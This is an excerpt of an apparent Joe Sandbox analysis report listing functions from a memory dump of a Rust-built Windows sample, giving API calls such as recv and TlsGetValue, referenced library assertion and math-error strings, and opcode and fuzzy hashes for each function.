Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast$FullNamePathmemcmp
String ID:
API String ID: 2929619185-0
Opcode ID: 92a81ae790cde6e2ad8ab26dfe0cb6653e1814c53c6e8b7d79e8b7a2654fb407
Instruction ID: 713d20afdbc865583f5ab5a0eb8f0558afcd4cda7c18cc9887d62fea31d549a0
Opcode Fuzzy Hash: 92a81ae790cde6e2ad8ab26dfe0cb6653e1814c53c6e8b7d79e8b7a2654fb407
Instruction Fuzzy Hash: D331BF26A14BC149EB719F61A8847EE3794FB05BD8F540175DE5C9F7C5CE79A3818300

Function 00007FF699717E60 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 145networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF699717F14

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 00007FF699718046
assertion failed: len >= mem::size_of::<c::sockaddr_in>()library\std\src\sys_common\net.rs, xrefs: 00007FF69971802E

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()library\std\src\sys_common\net.rs
API String ID: 1452528299-513854611
Opcode ID: aed944820c4ff97ba46419a47c76fa312d113af2be5a85ce08e8b0606597aa19
Instruction ID: 1d67ba134f48d045d04e7274dce0f1f325207c20d5b1908df3787cce0f618480
Opcode Fuzzy Hash: aed944820c4ff97ba46419a47c76fa312d113af2be5a85ce08e8b0606597aa19
Instruction Fuzzy Hash: F151CC32A085918AF7748F65E4416FD77B4FB44394F20812AEE998BB94EF3CA582C740

Function 00007FF699725B40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(?,?,00000000,?,00007FF699711DCA), ref: 00007FF699725BBE
TlsSetValue.KERNEL32(?,?,?,?,?,?,00000000,?,00007FF699711DCA), ref: 00007FF699725C19

Strings

assertion failed: is_unlocked(state), xrefs: 00007FF699725BE6

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: AddressSingleValueWake
String ID: assertion failed: is_unlocked(state)
API String ID: 741412973-3502192491
Opcode ID: da2c4ba34aa77a352e36bf536d0e6d29029739b6ea50faa7ea929ed43c8ffefd
Instruction ID: 2046d3b41aba1911abc983254aa816cd34df0b54cc1dda027ed88c22f1907dff
Opcode Fuzzy Hash: da2c4ba34aa77a352e36bf536d0e6d29029739b6ea50faa7ea929ed43c8ffefd
Instruction Fuzzy Hash: 1A21E422F1A5064AFB365E1555003BE3291DF99B98F78C0B8DA0D8F385ED3D9983C381

Function 00007FF699721740 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,00007FF69970D9B8,?,?,?,?,?,?,00007FF6996F7A96), ref: 00007FF699721765
GetLastError.KERNEL32(?,?,?,?,?,?,00007FF69970D9B8,?,?,?,?,?,?,00007FF6996F7A96), ref: 00007FF699721800

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF69972181D

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorFrequencyLastPerformanceQuery
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 3362413890-2333694755
Opcode ID: 125f12cbf819ad59ff386bc5975b7acf701ca1fb5fc1d74b55788fa64a06a3e6
Instruction ID: b09d8e4378634050e139c932b09bd1c7fe4483cb30d1cf4f1a2efa51a54c2cf1
Opcode Fuzzy Hash: 125f12cbf819ad59ff386bc5975b7acf701ca1fb5fc1d74b55788fa64a06a3e6
Instruction Fuzzy Hash: F731DF51B1878642EB28DF66A8112B93796EBC4BC0F5880B6DD0ECB795DE2CA542C340

Function 00007FF69970D990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,00007FF6996F7A96), ref: 00007FF69970D9A6
GetLastError.KERNEL32(?,?,?,?,?,?,00007FF6996F7A96), ref: 00007FF69970D9C0

Part of subcall function 00007FF699721740: QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,00007FF69970D9B8,?,?,?,?,?,?,00007FF6996F7A96), ref: 00007FF699721765

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF69970D9DD

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: PerformanceQuery$CounterErrorFrequencyLast
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 158728112-2333694755
Opcode ID: 5bc127802c3df2079730c422be3828e83479d8627c7c24287756ef6ca370a142
Instruction ID: 36fdf4548794efa82d154f1282f9ba36943ce9ce983000a206e6f29429e803d4
Opcode Fuzzy Hash: 5bc127802c3df2079730c422be3828e83479d8627c7c24287756ef6ca370a142
Instruction Fuzzy Hash: D811A122A18A8299EB24AF70D4422FD3764FF84384F5445B6DE4DCA79ADE2CE652C341

Function 00007FF699717C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF699717CC0

Part of subcall function 00007FF699707C60: memset.MSVCRT ref: 00007FF699707C84
Part of subcall function 00007FF699707C60: WSASocketW.WS2_32 ref: 00007FF699707CC5

Strings

assertion failed: socket != sys::c::INVALID_SOCKET as RawSocketlibrary\std\src\os\windows\io\socket.rs, xrefs: 00007FF699717C87

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Socketmemsetrecv
String ID: assertion failed: socket != sys::c::INVALID_SOCKET as RawSocketlibrary\std\src\os\windows\io\socket.rs
API String ID: 1952720251-42570012
Opcode ID: 18c7bb4dfbb0b872742dc44238251bf92bb93ec967aacfa1f0eec4458d7dcfab
Instruction ID: 1046b84b0da6918946e57b5b9dd004efbb496041fb3ea94dc2b5cee423cccd26
Opcode Fuzzy Hash: 18c7bb4dfbb0b872742dc44238251bf92bb93ec967aacfa1f0eec4458d7dcfab
Instruction Fuzzy Hash: 5A012821B145469AFB746E74D0552B82359DB853B4F684371D93DCA7D0DE2CD581C200

Function 00007FF69976D690 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF69976D710

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69976D6F7
Unknown error, xrefs: 00007FF69976D77C

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 325970b99f59e992869b15b547b78a0270b7646e7ed450ca3ae991192f7a869d
Instruction ID: f4ae2b90cc37e2d4b91f582e426fab18768c967d176fe490c182cc7995857ef0
Opcode Fuzzy Hash: 325970b99f59e992869b15b547b78a0270b7646e7ed450ca3ae991192f7a869d
Instruction Fuzzy Hash: D0018263D1CF8482D6158F2CD9001BA7331FFAE789F259325EA8C6A525DF28E592C700

Function 00007FF69976D730 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF69976D710

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69976D6F7
Argument domain error (DOMAIN), xrefs: 00007FF69976D730

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 6eb4b77c4f8eaeccad83fc189a02852e575d745d1ffcaaaa937404e0f1d88fc3
Instruction ID: a6489ab57dae99d5355c624fc34b97fd5b561dba864f00dc383069341be57137
Opcode Fuzzy Hash: 6eb4b77c4f8eaeccad83fc189a02852e575d745d1ffcaaaa937404e0f1d88fc3
Instruction Fuzzy Hash: FCF06253C08E8482D2128F2DA8001AB7334FF9D788F145326EF8D6A556EF28E582C710

Function 00007FF69976D740 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF69976D710

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69976D6F7
Partial loss of significance (PLOSS), xrefs: 00007FF69976D740

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: c2ec67f7798fbaf6a926c8f2ca5cc0b96a5e3d9249152667c1d4eac8be866468
Instruction ID: d21cde549f676ced177d08d4b504528cd7d102dafe3e09d8cbb7117e47aad417
Opcode Fuzzy Hash: c2ec67f7798fbaf6a926c8f2ca5cc0b96a5e3d9249152667c1d4eac8be866468
Instruction Fuzzy Hash: A1F06253C08E8482D2228F2DA8001AB7334FF9D7D8F155326EE8D6A556EF28E582C710

Function 00007FF69976D750 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF69976D710

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69976D6F7
Overflow range error (OVERFLOW), xrefs: 00007FF69976D750

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 3cb0424a8953d48a008c56219b0bef7cf853752c9e33e66b8e5c155e833ea758
Instruction ID: 7b2a874c11100c689074dcad3f7698ca7d109bd4fc5d63cc400f1a3c32284390
Opcode Fuzzy Hash: 3cb0424a8953d48a008c56219b0bef7cf853752c9e33e66b8e5c155e833ea758
Instruction Fuzzy Hash: ADF06253C08E8882D2128F2DA8001AB7334FF9D788F145326EE8D6A556EF28E592C710

Function 00007FF69976D760 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF69976D710

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69976D6F7
The result is too small to be represented (UNDERFLOW), xrefs: 00007FF69976D760

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 74f6f8cb7482b7fac668cf4040dadbe3c3bfaaa47e60ece2ce6dc68220263ba8
Instruction ID: 22a0504576436341fd5eec88d29519634c25d3f0b777518ad29870ba9fc405e5
Opcode Fuzzy Hash: 74f6f8cb7482b7fac668cf4040dadbe3c3bfaaa47e60ece2ce6dc68220263ba8
Instruction Fuzzy Hash: 41F06253C08E8482D2128F2DA8001AB7334FF9D788F145366EE8D6A556EF29E592C710

Function 00007FF69976D770 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF69976D710

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69976D6F7
Total loss of significance (TLOSS), xrefs: 00007FF69976D770

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 03791ac738d86c5becd05f1d06faabf352435464b988844d8f4eb4cb428f2bb6
Instruction ID: bdb038594f9f949edb26b75c2b3282c979b001aa1a52c07ca7d13943b0f9e5bf
Opcode Fuzzy Hash: 03791ac738d86c5becd05f1d06faabf352435464b988844d8f4eb4cb428f2bb6
Instruction Fuzzy Hash: 1FF06253C08E8482D2128F2DA8001AB7334FF9D788F155326EE8D6A516DF28E582C710

Function 00007FF69976D6C8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF69976D710

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF69976D6F7
Argument singularity (SIGN), xrefs: 00007FF69976D6C8

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 044f746fec8141a5650da142353fa8f6c9191853f4d67955629525536e3646b3
Instruction ID: 3b0eab0a81712aac0e59c847bd133901ff4e904de90594af9c44d85686e0cf68
Opcode Fuzzy Hash: 044f746fec8141a5650da142353fa8f6c9191853f4d67955629525536e3646b3
Instruction Fuzzy Hash: 0AF09653C08E8482D2128F2DA8001AB7334FF5D788F145326EF8D6A516DF29E582C710

Function 00007FF69972C120 Relevance: 5.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF699711E04), ref: 00007FF69972C142
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF699711E04), ref: 00007FF69972C1A3
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF699711E04), ref: 00007FF69972C1B3
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF699711E04), ref: 00007FF69972C202

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: a05e09182db94a876affe21de00ebe067f77ea428299a94fd0279bedaa08db00
Instruction ID: 310946adfaf938c2a2127730b30c62cc8997ada68b1c064afabc4842680b94a7
Opcode Fuzzy Hash: a05e09182db94a876affe21de00ebe067f77ea428299a94fd0279bedaa08db00
Instruction Fuzzy Hash: 48318D22F2965242FA756E1589023BD22A1EF99BC0F4C44F5DE4DCB7C6DE3EA8128340

Function 00007FF69972C030 Relevance: 5.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00007FF699711E04), ref: 00007FF69972C052
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00007FF699711E04), ref: 00007FF69972C076
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00007FF699711E04), ref: 00007FF69972C0CC
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,00007FF699711E04), ref: 00007FF69972C0D9

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 1ddc5afa2437382de4da30d14379927b5c5762f07e08f54a2fa18bdb4944adac
Instruction ID: 83b47d6f1f082aeb603d2b27b998aff0ca4d0b7b74ec72137d76206010e59894
Opcode Fuzzy Hash: 1ddc5afa2437382de4da30d14379927b5c5762f07e08f54a2fa18bdb4944adac
Instruction Fuzzy Hash: 7E21DE21F1929246FA715F25490137D6A81EF4ABD0F0C80F5DE4DDB7C2ED3EA8428340

Function 00007FF6996D3D0F Relevance: 5.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6996D3D47
memset.MSVCRT ref: 00007FF6996D3D57
memcpy.MSVCRT ref: 00007FF6996D3D71
memset.MSVCRT ref: 00007FF6996D3D8F

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 3a4eb231362921433dc93685f34cfa11d0ceaa83893d8fe4e9e3e3f5a0c8f505
Instruction ID: e9e43d5358f87e2d942eee28d23aeb7460f285f6dbf6839c4c85dd30701ac2c5
Opcode Fuzzy Hash: 3a4eb231362921433dc93685f34cfa11d0ceaa83893d8fe4e9e3e3f5a0c8f505
Instruction Fuzzy Hash: EA010002B2438107F3289632A501BEB6902AB97384F048130DF894B6C2DF6DB685C703

Function 00007FF6996D7DD0 Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF6996D7DE7
CloseHandle.KERNEL32 ref: 00007FF6996D7DEF
CloseHandle.KERNEL32 ref: 00007FF6996D7DFE
CloseHandle.KERNEL32 ref: 00007FF6996D7E0E

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
